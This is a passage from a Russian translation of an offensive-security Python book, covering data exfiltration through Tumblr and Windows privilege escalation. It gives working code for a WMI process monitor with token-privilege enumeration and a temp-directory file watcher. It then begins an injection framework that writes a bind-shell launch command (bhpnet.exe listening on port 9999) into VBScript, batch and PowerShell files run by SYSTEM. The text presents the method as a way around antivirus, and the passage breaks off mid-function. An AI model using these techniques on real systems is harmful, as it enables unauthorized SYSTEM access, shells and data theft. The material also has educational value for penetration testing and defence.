Запустите скрипт ie_exfil.py из Windows хоста и дождитесь пока он не даст вам знать, что публикация в Tumblr прошла успешно. Если вы оставили Internet Explorer видимым, то вы сможете понаблюдать за всем процессом. После завершения, вы должны без проблем зайти на свою страницу в Tumblr и увидеть примерно то, что показано на Рис. 9-1.
Рис. 9-1. Наше зашифрованное имя файла.
Как видите, здесь зашифрован большой блок данных, который является названием нашего файла. Если вы прокрутите страницу вниз, то вы увидите, что название заканчивается там, где шрифт больше не выделен жирным. Если вы скопируете и вставите название в файл decryptor.py и запустите его, то вы должны увидеть примерно следующее:
#:> python decryptor.py
C:\Program Files\Debugging Tools for Windows (x86)\dml.doc
#:>
Идеально! Мой скрипт ie_exfil.py забрал документ из директории Windows Debugging Tools , загрузил содержимое в Tumblr, и я теперь могут успешно расшифровать имя файла. Конечно,
чтобы обработать все содержимое файла, нужна автоматизация процесса. Вы можете сделать это при помощи хитростей, о которых я писал в Главе 5 (
urllib2 и
HTMLParser
).
Пожалуй, вы с этим справитесь самостоятельно.
Еще, что нужно учесть. В нашем скрипте ie_exfil.py, мы поставили пробелы между символами в последних 256 байтах, что может конфликтовать с определенными форматами файлов. Еще одна идея увеличить длину — зашифровать длину поля в самом начале содержимого поста для блога. Вы сможете считать это после расшифровки содержимого поста и подгонки файла под конкретный размер.
[20] Пакет PyCrypto можно установить из http://www.voidspace.org.uk/python/modules.shtml#pycrypto/
Глава 10. Повышение привилегий в Windows
Пришло время найти способы повысить привилегии. Если вы уже SYSTEM или администратор, возможно, вам нужно сразу несколько способов достижения привилегий, на тот случай, если патч закроет вам доступ. Также важно иметь каталог повышения привилегий, так как некоторые предприятия запускают ПО, которое трудно поддается анализу в вашей собственной среде, и вы можете не суметь запустить это ПО, пока вы не окажетесь в предприятии такого же размера и структуры. При обычном повышении привилегий, вам придется использовать либо родной драйвер Windows, либо драйвер с плохим кодом. Однако, если использовать эксплойт низкого качества или есть проблемы с работой эксплойта, то вы рискуете столкнуться с нестабильностью системы. Мы с вами узнаем о других способах получения повышенных привилегий в Windows.
Системные администраторы на крупных предприятиях обычно имеют запланированные задачи или службы, которые запускают дочерние процессы или VBScript и PowerShell, чтобы автоматизировать выполнение заданий. Вендоры также часто имеют автоматизированные встроенные задачи. Мы попробуем воспользоваться процессами с высокими привилегиями по работе с файлами или попытаемся выполнить бинарный код, написанные пользователями с низкими привилегиями. Существует бесчисленное количество способов, как можно повысить привилегии на Windows, но мы с вами проанализируем лишь некоторые из них.
Однако, как только вы поймете основные концепции, вы сами сможете расширять свои скрипты, чтобы начать изучать другие темные уголки ваших Windows целей.
Мы начнем с изучения того, как применять WMI программирование на Windows, чтобы создать гибкий интерфейс по отслеживанию создания новых процессов. Мы
собираем такие полезные данные, как пути файлов, пользователь, который создал процесс и доступные привилегии. Скрипт по отслеживанию файлов постоянно следит за появлением новых файлов и за тем, что в них написано. Это помогает нам понять, какие файлы оценивались процессами с высокими привилегиями и узнать о местоположении файла. Последний шаг — перехват процесса создания файла, чтобы мы могли внедрить код скрипта и заставить процесс с высокими привилегиями запустить командную оболочку. Прелесть всего этого процесса заключается в том, что он никак не связан с API перехватом, поэтому мы сможем обойти большинство антивирусных ПО.
Выполняем предварительные условия
Нам нужно установить несколько библиотек, для того чтобы написать необходимые инструменты. Если вы следовали всем инструкциями с самого начала этой книги, то у вас уже должен быть готов easy_install.
Если нет, то вернитесь к Главе 1 и прочитайте инструкцию по установке easy_install
На вашей виртуальной машине Windows в оболочке cmd.exe выполните следующее:
C:\> easy_install pywin32 wmi
Если по той или иной причине этот метод установки у вас не работает, скачайте установщик
PyWin32 прямо из http://sourceforge.net/projects/pywin32/
Затем нужно будет установить пример службы, которую для меня написали наши технические эксперты Дэн Фриш (Dan Frisch) и Клифф Джанзен (Cliff Janzen). Эта служба эмулирует набор распространенных уязвимостей, которые мы нашли в сети крупного предприятия и помогает наглядно показать пример кода в этой главе.
1. Скачайте zip файл по ссылке http://www.nostarch.com/blackhatpython/bhpservice.zip.
2. Установите службу, используя прилагаемый сценарий пакетной обработки install_service.bat
. Убедитесь, что вы вошли по администратором.
Все должно быть готово, давайте приступим к самому интересному!
Создаем монитор процессов
Я участвовал в проекте для Immunity под названием El Jefe, что по сути является очень простой системой отслеживания процесса с централизованной регистрацией
(
http://eljefe.immunityinc.com/
). Этот инструмент разработан для людей, которые работают на стороне защиты системы для отслеживания процессов создания и установки вредоносного
ПО. Однажды мой коллега Марк Вюрглер (Mark Wuergler) предложил воспользоваться El Jefe в качестве легкого механизма для отслеживания процессов, выполняемых, как SYSTEM на наших целевых машинах Windows. Таким образом, мы смогли бы заглянуть внутрь потенциально небезопасной работы с файлами или небезопасным созданием дочерних процессов. Все сработало, и мы получили множество багов повышения привилегий.
Главный недостаток оригинального инструмента El Jefe заключается в том, что он использует
DLL, который внедряется в каждый процесс для перехвата вызовов всех форм нативной функции
CreateProcess.
Проблема в том, что большинство антивирусного ПО также перехватывает вызовы
CreateProcess,
поэтому вы либо будете приняты на вредоносную программу, либо столкнетесь с нестабильностью системы, когда El Jefe будет запущен одновременно в антивирусным ПО. Мы немного переделаем возможности отслеживания El Jefe, чтобы мы имели возможность запускать этот инструмент вместе с антивирусным ПО.
Отслеживание процесса при помощи WMI
WMI API дает программисту возможность отслеживать систему на предмет конкретных событий и затем получать обратные вызовы, когда эти события происходят. Мы оптимизируем этот интерфейс, чтобы получать обратный вызов, каждый раз при создании процесса. Когда создается процесс, мы будем перехватывать для своих целей ценную информацию: время создания процесса, пользователь, запустивший процесс, исполнимый файл и аргументы командной строки, ID процесса и ID родительского процесса. Это покажет нам любые процессы, которые были созданы аккаунтами с высокой привилегией, в частности любые процессы, которые вызывают такие внешние файлы, как VBScript или пакетные скрипты. Когда у нас будет вся эта информация, мы также определим, какие привилегии были включены на маркерах процесса. В некоторых редких случаях, вы обнаружите процессы, которые созданы обычным пользователем, но получили дополнительные привилегии Windows.
Начнем с создания очень простого скрипта отслеживания [21], который предоставит нам базовую информацию о процессах, а затем выполним его сборку, чтобы определить доступные привилегии. Обратите внимание, чтобы получить информацию о процессах с высокой привилегией, созданных SYSTEM, например, вам потребуется запустить свой скрипт отслеживания под администратором. В process_monitor.py пропишем следующий код: import win32con import win32api import win32security import wmi import sys import os def log_to_file(message):
fd = open("process_monitor_log.csv", "ab")
fd.write("%s\r\n" % message)
fd.close()
return
# create a log file header log_to_file("Time,User,Executable,CommandLine,PID,Parent PID,Privileges")
# instantiate the WMI interface c = wmi.WMI()
➊
# create our process monitor process_watcher = c.Win32_Process.watch_for("creation")
➋
while True:
try:
new_process = process_watcher()
➌
proc_owner = new_process.GetOwner()
➍
proc_owner = "%s\\%s" % (proc_owner[0],proc_owner[2])
create_date = new_process.CreationDate executable = new_process.ExecutablePath cmdline = new_process.CommandLine pid = new_process.ProcessId parent_pid = new_process.ParentProcessId privileges = "N/A"
process_log_message = "%s,%s,%s,%s,%s,%s,%s\r\n" % (create_date,
proc_owner, executable, cmdline, pid, parent_pid, privileges)
print process_log_message log_to_file(process_log_message)
except:
pass
Начинаем с перехвата WMI класса , затем мы сообщаем ему следить за событием создания
➊
процесса . Считывая документацию Python WMI, мы узнаем, что вы можете отслеживать
➋
создание процесса или события удаления. Если вы решаете более детально отследить события процесса, вы можете использовать операцию, и она уведомит вас исключительно о каждом событии, через которое проходит процесс. Затем мы входим в цикл, и
происходит блокировка, пока функция process_watcher не вернет событие нового процесса .
➌
Событие нового процесса — это WMI класс, который называется
Win32_Process
[22]. Он содержит в себе всю релевантную информацию, которая нам нужна. Одна из функций класса
—
GetOwner
, которую мы вызываем , чтобы определить, кто запустил процесс и уже
➍
оттуда мы забираем всю информацию о процессе, выводим ее на экран и сохраняем в файл.
Проверка на деле
Давайте запустим скрипт отслеживания процесса и затем создадим некоторые другие процессы, чтобы увидеть результат.
C:\> python process_monitor.py
20130907115227.048683300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,740,508,N/A
20130907115237.095300300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
calc.exe,"C:\WINDOWS\system32\calc.exe" ,2920,508,N/A
После запуска скрипта, я открываю notepad.exe и calc.exe. Вы видите, что информация была выведена корректно. Обратите внимание, что оба процесса имеют PID родительского процесса, установленный на значении 508. это и есть ID процесса explorer.exe на моей виртуальной машине. А сейчас можно сделать паузу, пока этот скрипт будет запущен на весь день, и вы увидите все процессы, запланированные задачи и разные обновления ПО. Если повезет, то вы сможете обнаружить вредоносное ПО. Полезно также периодически выходить из целевой системы и входить в нее, так как события, генерируемые этими действиями, могут указывать на привилегированные процессы. Итак, мы настроили базовое отслеживание процесса, давайте заполним привилегированные поля и узнаем, как работают привилегии в
Windows и почему они так важны.
Привилегии маркера в Windows
Windows маркер, согласно определению Microsoft — это «объект, который описывает безопасность контекста процесса или потока» [23]. То, как происходит инициализация маркера и какие разрешения и привилегии установлены для маркера, определяет, какие задачи этот процесс или поток сможет выполнять. Разработчик, у которого хорошие намерения, может иметь приложение системного лотка, как часть продукта безопасности, которым могут пользоваться непривилегированные пользователи, чтобы контролировать главную службу Windows, то есть драйвер. Разработчик использует нативную Windows API функцию
AdjustTokenPrivileges в отношении процессов и при этом, неосознанно передать приложению системного лотка привилегию
SeLoadDriver
. О чем не задумывается разработчик, если вы можете забраться внутрь этого приложения системного лотка, то у вас тоже будет возможность загружать и выгружать драйвер. То есть, вы сможете внедрить руткит на уровне ядра, а это значит — конец игре.
Помните, если вы не можете запустить отслеживание процесса как SYSTEM или под администратором, тогда вам придется внимательно следить за процессами, которые вы можете отслеживать и смотреть, не появились ли дополнительные привилегии. Процесс, запущенный от вашего пользователя с ошибочными переменными — это невероятный способ попасть в SYSTEM или запустить код в ядре. Самые интересные привилегии, которые я всегда ищу представлены в Таблице 10-1. Это не исчерпывающий список, но хорошее начало [24].
Таблица 10-1. Интересные привилегии
Название привилегии
Доступ, который она обеспечивает
SeBackupPrivilege
Она дает возможность пользовательскому процессу возвращать файлы и директории и обеспечивает READ доступ к файлам, несмотря на их ACL права.
SeDebugPrivilege
Она дает возможность пользовательскому процессу совершать отладку других процессов. Она также позволяет внедрять DLL или код в запущенный процесс.
SeLoadDriver
Она дает возможность пользовательскому процессу загружать и выгружать драйверы.
Итак, мы получили базовые представления о том, что такое привилегии и какие привилегии нас могут интересовать, теперь давайте настроим Python на автоматическое получение активных привилегий процессов, которые мы отслеживаем. Мы воспользуемся модулями win32security
,
win32api и win32con
. Если вы столкнетесь с ситуацией, что не сможете загрузить эти модули, все следующие функции будут переведены в нативные вызовы при помощи библиотеки ctypes. Здесь просто будет намного больше работы. Добавьте следующий код в process_monitor.py прямо над нашей функцией existing log_to_file
:
def get_process_privileges(pid):
try:
# obtain a handle to the target process hproc = win32api.OpenProcess(win32con.PROCESS_QUERY_
➊
INFORMATION,False,pid)
# open the main process token
➋
htok = win32security.OpenProcessToken(hproc,win32con.TOKEN_QUERY)
# retrieve the list of privileges enabled
privs = win32security.GetTokenInformation(htok, win32security.
➌
TokenPrivileges)
# iterate over privileges and output the ones that are enabled priv_list = ""
for i in privs:
# check if the privilege is enabled
if i[1] == 3:
➍
priv_list += "%s|" % win32security.
➎
LookupPrivilegeName(None,i[0])
except:
priv_list = "N/A"
return priv_list
Мы используем ID процесса , чтобы получить дескриптор целевого процесса . Затем мы
➊
открываем маркер процесса и запрашиваем у него информацию об этом процессе .
➋
➌
Отправляя win32security.TokenPrivileges
, мы инструктируем вызов API вернуть всю привилегированную информацию по этому процессу. Функция возвращает список кортежей, где первый член кортежа является привилегированным, а второй член описывает, доступна привилегия или нет. Так как нас интересуют только доступные привилегии, мы проверяем сначала доступные биты , а затем ищем человекочитаемые названия этой
➍
привилегии .
➎
Затем мы модифицируем существующий код и меняем следующую строку кода privileges = "N/A"
на privileges = get_process_privileges(pid)
Теперь, когда мы добавили наш привилегированный код отслеживания, давайте вернем скрипт process_monitor.py и проверим вывод. Вы должны увидеть привилегированную информацию, как показано ниже:
C:\> python.exe process_monitor.py
20130907233506.055054300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
notepad.exe,"C:\WINDOWS\system32\notepad.exe" ,660,508,SeChangeNotifyPrivilege
|SeImpersonatePrivilege|SeCreateGlobalPrivilege|
20130907233515.914176300,JUSTINV2TRL6LD\Administrator,C:\WINDOWS\system32\
calc.exe,"C:\WINDOWS\system32\calc.exe" ,1004,508,SeChangeNotifyPrivilege|
SeImpersonatePrivilege|SeCreateGlobalPrivilege|
Вы видите, что мы правильно зарегистрировали доступные привилегии для этих процессов.
Мы
можем без труда добавить функции в скрипт, чтобы регистрировать только те процессы, которые запущены от имени непривилегированного пользователя, но которые имеют доступные и интересные для нас привилегии.
Выиграть гонку
Пакетные скрипты, VBScript и PowerShell намного облегчают жизнь системным администраторам, автоматизируя рутинные задачи. Их цели могут отличаться из-за постоянной регистрации в службе центральной инвентаризации с целью обновления ПО из их собственных репозиториев. Одна из наиболее распространенных проблем — это недостаток ACL в файлах этих скриптов. В ряде случаев, на безопасных серверах, я обнаруживал пакетные скрипты или скрипты PowerShell, которые запускаются раз в день пользователем SYSTEM, но их может переписать абсолютно любой пользователь.
Если вы запускаете свой процесс отслеживания на достаточно длительное время на предприятии (или вы просто устанавливаете пример службы, о котором речь шла в самом начале главы), вы можете увидеть подобные записи:
20130907233515.914176300,NT AUTHORITY\SYSTEM,C:\WINDOWS\system32\cscript.
exe, C:\WINDOWS\system32\cscript.exe /nologo
"C:\WINDOWS\Temp\azndldsddfggg.
vbs"
,1004,4,SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobal
Privilege|
Как видите, SYSTEM запустила cscript.exe и отправила параметр
C:\WINDOWS\Temp\andldsddfggg.vbs. Пример службы из начала главы должен генерировать эти события каждую минуту. Если вы проверите директорию, то не найдете в списке этот файл. Что происходит: служба создает случайное название файла, вставляет в файл VBScript, а затем выполняет это VBScript скрипт. Я видел несколько раз, как это действие выполнялось коммерческим ПО, и я видел ПО, которое копирует файлы во временное хранение, исполняет, а затем удаляет их. Для того чтобы нам использовать это условие, мы должны суметь выиграть гонку у исполняемого кода. Когда ПО или запланированная задача создают файл, нам нужно внедрить свой собственный код в файл, до того как начнется исполнение процесса и затем файл удалится. На помощь нам приходит Windows API под названием
ReadDirectoryChangesW.
Он позволяет нам отслеживать директорию на предмет любых изменений в файлах или поддиректориях. Мы также можем фильтровать эти события,
чтобы определять, когда файл был «сохранен», чтобы мы смогли быстро внедрить наш код.
Невероятно полезно следить за всеми временными директориями в течение 24 часов или дольше, так как иногда можно найти интересные уязвимости или информацию о потенциальных повышениях привилегий.
Итак, начнем создавать монитор файлов, а затем выполним сборку для автоматического внедрения кода.
Создаем новый файл file_monitor.py и выбиваем следующее:
# Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.
html import tempfile import threading import win32file import win32con import os
# these are the common temp file directories dirs_to_monitor = ["C:\\WINDOWS\\Temp",tempfile.gettempdir()]
➊
# file modification constants
FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
def start_monitor(path_to_watch):
# we create a thread for each monitoring run
FILE_LIST_DIRECTORY = 0x0001
h_directory = win32file.CreateFile(
➋
path_to_watch,
FILE_LIST_DIRECTORY,
win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_
SHARE_DELETE,
None,
win32con.OPEN_EXISTING,
win32con.FILE_FLAG_BACKUP_SEMANTICS,
None)
while 1:
try:
results = win32file.ReadDirectoryChangesW(
➌
h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_SIZE |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY,
None,
None
)
for action,file_name in results:
➍
full_filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATED:
print "[ + ] Created %s" % full_filename elif action == FILE_DELETED:
print "[ ] Deleted %s" % full_filename elif action == FILE_MODIFIED:
print "[ * ] Modified %s" % full_filename
# dump out the file contents print "[vvv] Dumping contents..."
try:
fd = open(full_filename,"rb")
contents = fd.read()
fd.close()
print contents print "[^^^] Dump complete."
except:
print "[!!!] Failed."
elif action == FILE_RENAMED_FROM:
print "[ > ] Renamed from: %s" % full_filename elif action == FILE_RENAMED_TO:
print "[ < ] Renamed to: %s" % full_filename else:
print "[???] Unknown: %s" % full_filename except:
pass for path in dirs_to_monitor:
monitor_thread = threading.Thread(target=start_monitor,args=(path,))
print "Spawning monitoring thread for path: %s" % path monitor_thread.start()
Мы определяем список директорий, которые мы хотели бы отслеживать
➊
, в нашем случае это две распространенных файловых директории. Помните, что могут быть и другие места, на которые тоже можно обратить свое внимание. Поэтому редактируйте этот список под себя.
Для каждого из этих путей, мы создадим поток отслеживания, который вызывает
функцию start_monitor.
Главная задача этой функции — получить дескриптор директории, которую мы хотим отследить . Затем мы вызываем функцию
➋
ReadDirectoryChangesW
, которая уведомляет нас, когда произойдут изменения. Мы
➌
получаем имя целевого файла и тип произошедшего события . Затем мы распечатываем
➍
полезную информацию о том, что произошло с конкретным файлом и если мы обнаруживаем, что файл был модифицирован, мы забираем содержимое файла для сравнения
➎
Проверка на деле
Открываем cmd.exe и запускаем file_monitor.py:
C:\> python.exe file_monitor.py
Открываем второй cmd.exe и выполняем следующие команды:
C:\> cd %temp%
C:\DOCUME1\ADMINI1\LOCALS1\Temp>
echo hello > filetest
C:\DOCUME1\ADMINI1\LOCALS1\Temp> rename filetest file2test
C:\DOCUME1\ADMINI1\LOCALS1\Temp> del file2test
Вы должны увидеть примерно следующий результат:
Spawning monitoring thread for path: C:\WINDOWS\Temp
Spawning monitoring thread for path: c:\docume1\admini1\locals1\temp
[ + ] Created c:\docume1\admini1\locals1\temp\filetest
[ * ] Modified c:\docume1\admini1\locals1\temp\filetest
[vvv] Dumping contents...
hello
[^^^] Dump complete.
[ > ] Renamed from: c:\docume1\admini1\locals1\temp\filetest
[ < ] Renamed to: c:\docume1\admini1\locals1\temp\file2test
[ * ] Modified c:\docume1\admini1\locals1\temp\file2test
[vvv] Dumping contents...
hello
[^^^] Dump complete.
[ ] Deleted c:\docume1\admini1\locals1\temp\FILE2T1
Если все сработало, как планировалось, то я рекомендую вам оставить файл отслеживать на
24 часа на целевой машине. Вы удивитесь (а может быть, нет) увидеть создаваемые, выполняемые и удаляемые файлы. Вы также можете использовать скрипт по отслеживанию процесса, чтобы попытаться найти интересные пути файлов. Обновления ПО представляют особый интерес. Давайте продолжим и добавим возможность автоматически внедрять код в целевой файл.
Внедрение кода
Теперь, когда мы можем отследить процессы и местоположения файла, давайте рассмотрим возможность автоматического внедрения кода в целевые файлы. Самые распространенные скриптовые языки — VBScript, пакетные файлы и PowerShell. Мы создадим очень простые сниппеты кода, котороые запускают скомпилированную версию нашего инструмента bhpnet.py с уровнем привилегии исходящей службы. Есть много разных вредных вещей, которые вы можете совершить, используя эти языки. [25] Мы создадим общий фреймворк, и можете начинать баловаться прямо отсюда. Давайте модифицируем наш скрипт file_monitor.py и добавим следующий код:
file_types = {}
➊
command = "C:\\WINDOWS\\TEMP\\bhpnet.exe l p 9999 c"
file_types['.vbs'] =
["\r\n'bhpmarker\r\n","\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n" %
command]
file_types['.bat'] = ["\r\nREM bhpmarker\r\n","\r\n%s\r\n" % command]
file_types['.ps1'] = ["\r\n#bhpmarker","StartProcess \"%s\"\r\n" % command]
# function to handle the code injection def inject_code(full_filename,extension,contents):